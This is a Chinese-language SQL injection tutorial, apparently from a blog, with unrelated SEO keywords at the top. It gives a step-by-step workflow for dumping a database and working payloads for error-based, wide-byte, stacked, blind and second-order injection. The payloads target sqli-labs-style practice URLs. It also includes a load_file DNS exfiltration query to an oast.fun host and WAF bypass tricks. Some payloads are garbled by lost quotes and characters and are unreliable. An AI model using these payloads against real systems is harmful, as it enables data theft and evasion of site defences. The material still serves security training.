个人网站制作模板主页,怎么做网站的站点地图,wordpress美化教程,php根据ip 跳转网站一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中#xff0c;再在后台 Sql 服务器上解析执行进行的攻击#xff0c;它目前黑客对数据库进行攻击的最常用手段之一。 二、 SQL注入的简单流程 第一步#xff1a;判断目标站点#xff0c;…一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中再在后台 Sql 服务器上解析执行进行的攻击它目前黑客对数据库进行攻击的最常用手段之一。 二、 SQL注入的简单流程 第一步判断目标站点是否存在注入漏洞 向页面传入一些指令 (SQL 语句 ) 检查指令是否被执行如果被执行说明页面是可能存在 SQL 注入漏洞的如 果不能被执行说明可能不存在 SQL 注入漏洞 常用的闭合点 : 单引号 双引号 ( ) ( ) * * 第二步:判断数据表的字段数量 思路 : order by 字段编号 第三步找到页面的显错位 结合union select 语句查看页面显错位 第四步:判断这个站点/页面用的数据的版本和当前数据库的名称 select database() select version() 第五步:判断表名 使用 information_schema 库中的 tables 表 第六步判断字段名 使用information_schema库中的columns表 第七步查询表中的数据(拖库) select 各种查询 三、sql注入漏洞方式
1、报错注入 通过数据库的抛出异常信息点将我们想要的信息一并显示出来 通常使用的报错函数 updatexml( 目标 xml 内容 xml 文档路径需要替换的内容 ) 在路径的位置上输入非法符号就可以产生报错例如 # $ # 语句的构造方式 select updatexml(1,concat(%,database()),1) # 实际应用的小案例 select updatexml(1,concat(%,(select group_concat(column_name) from information_schema.columns where table_nametb1)),1) 获取库名和版本信息 1 and updatexml(1,concat(!,database()),1) -- qqqqqq // 获取数据库名称 1 and updatexml(1,concat(~,version()),2) -- qqqqqqq 获取库中的表的名字 1 and updatexml(1,concat(!,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1) -- qqqqqqq 获取users的表结构(获取表的字段名字) 1 and updatexml(1,concat(!,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemasecurity)),1) -- qqqqqqq 获取users表的username的所有记录 1 and updatexml(1,concat(!,(select group_concat(email_id) from emails )),1) -- qqqqqqq 2.堆叠注入 堆叠查询可以执行多条 SQL 语句语句之间可以使用 (;) 作为分割符。堆叠注入主要是利用在第二条执行语句当 中执行攻击语句 危害 : 通过堆叠注入可以实现增删改查任意的语句都可以。 注入条件 ● 数据库需要支持堆叠功能 ● 传入的堆叠语句能够被后端程序作为sql 语句来执行 3.宽字节注入 宽字节注入在 SQL 注入的时候一般开启 gpc 过滤掉特殊字符实现防注入。但是如果数据库设置宽字节字 符集 gbk 会导致宽字节注入。通过宽字节逃逸 gpc 。 目前市面上 gbk big5 可以实现 gpc 逃逸。 注意 : \ %5c %df%5c %9c%5c %9d%5c gpc逃逸过程 %df%27 addslashes %df%5c%27 gbk 字符集 》運 魔术引号原理 $a addslashes($_GET[name]);// 魔术引号碰到单引号或者双引号的时候自动加上 \ $b select * from tb1 where n$a;//nametom echo $b; 字符与 \ 组合在 gbk 当中会组成一个中文 ( 双字节 ) 案例 : http://www.sqli.zz/Less-32/?id-1%df%27%20%2%20%20union%20select%201,2,3%20-- 4.DNS外带注入又称之为 DNS盲注 需要使用 dnslog 平台来进行注入 需要使用的函数 【读取系统中的文件的内容】 load_fifile( 路径 ) 【向系统中写入文件】 into outfifile 路径 mysql 的配置文件是高权限的情况下才能使用 mysql 的配置文件中的 secure_fifile_priv 没有任何文件限制 案例 select abc into outfile D:/4.txt # 将 abc 字符串写入到 D 盘下面的 4.txt 文件文件如果不存在那么 会自动创建这个文件 select load_file(D:/4.txt) # 读取 D 盘下面的 4.TXT 文件中的内容 DNS平台
用来记录其他主机对此域名的解析记录 代码解析 # 通过 mysql 的 load_file 函数来实现对域名的解析 # // 表示协议访问符号 select load_file(concat(//,(select database()),.chvgntf2vtc0000j9mmgge7apeeyyyyyd.oast.fun/123)) 5.盲注
布尔盲注 特点没有显错位 根据执行结果如果为真则显示指定内容如果是假什么也不现实 mysql 函数 1. length(str) ● 作用:计算字符串的长度 2.substr(str,#,#) ● 截取字符串当中的某一个或者某几个字符 3. ascii(str) ● 显示字符的ascii码 案例 http://www.sqli.zz/Less-8/?id1%27 构造语句 http://www.sqli.zz/Less-8/?id1 order by 3 有数据 4 没数据 http://www.sqli.zz/Less-8/?id1 union select 1,2,3 -- 因为没有显错位看不到任何信息只能靠猜测 http://www.sqli.zz/Less-8/?id-1 or length(database()) 4 -- // 猜测数据库名的字符串长度 8 http://www.sqli.zz/Less-8/?id-1 or ascii(substr(database(),1,1))100 -- // 猜测数据库名的 第一个字符 8 http://www.sqli.zz/Less-8/?id-1 or mid(database(),1,1)a # 猜测表的名字 结合 BP 猜测数据库的名字 抓取请求数据包条件我们有构造好的 sql 语句清空自动识别的 payload 自定义添加paylaod第一 截取字符 第二 ascii数值设置 构造数值起始值和终止值、步长 时间盲注 条件 可以通过 sql 语句执行结果的真假来判断是否存在注入点 网络稳定、系统执行速度稳定 案例 #LESS-9 构造 payload http://www.sqli.zz/Less-9/?id1 and if((select ascii(substr(database(),1,1))97),sleep(3),0)-- 六、二次注入 在第一次进行数据库插入数据的时候使用了 GPC 或者 addslashe( 魔术引号 ) 会对引号做转义 \ 但是 \ 不会插入到数据库当中所以我们写入数据的时候写入的还是原数据 原理: 业务场景 修改密码功能 条件 : 已知用户名 ( 通过用户注册的昵称 ) 1 修改密码 输入用户名 ( 判断用户是否存在 )--- 修改密码使用的是 (update ) 七、BASE64注入 BASE64 是一种编码格式 BASE64 注入表示的是我们需要将恶意的 SQL 语句先进行一次 base64 转码转码之后再传入的网站的后台程序 base64编码/解码的网站 https://tool.chinaz.com/tools/base64.aspx 判断注入方式 GET / POST / COOKIE
四、SQL注入的绕过 防注入 ---WAF( 网站防火墙 ) 可以拦截一些恶意注入行为。例如 IIS 安全狗 D 盾 350webscan 都可以对含有危害性语句做过滤和检测。 绕过 : 找到 waf 没有防御到的地方然后进行注入。 空格字符绕过 针对对空格做过滤的waf 可以代替空格的内容 %09 TAB 键水平 ) %0b TAB 键 ( 垂直 ) %0a 换行 %0c 新的一页 %0d return 功能 /**/ 代替空格 /* ! * / 大小写绕过 WAF 如果针对大写字母 SELECT INSERT 等等的 SQL 语句做过滤了可以尝试使用 大小写子母混合编写的 SQL 语句 例如 SELECT select SeLeCT 整数过滤 整数被过滤了那么咱们使用 浮点型 ( 小数点的数字 ) NULL过滤 http://www.kpl.zz/index.php?idnull%20AnD%201.01.0%20-- 引号绕过
变量覆盖 http://www.kpl.zz/index.php?id1%00id2%20-- id1id2 最终 id 是等于 2 的 join绕过
将union做了限制 select 1,2,3 union select a,b,c 使用join进行绕过 select 1,2 等同于 select * from (select 1)a join (select 2)b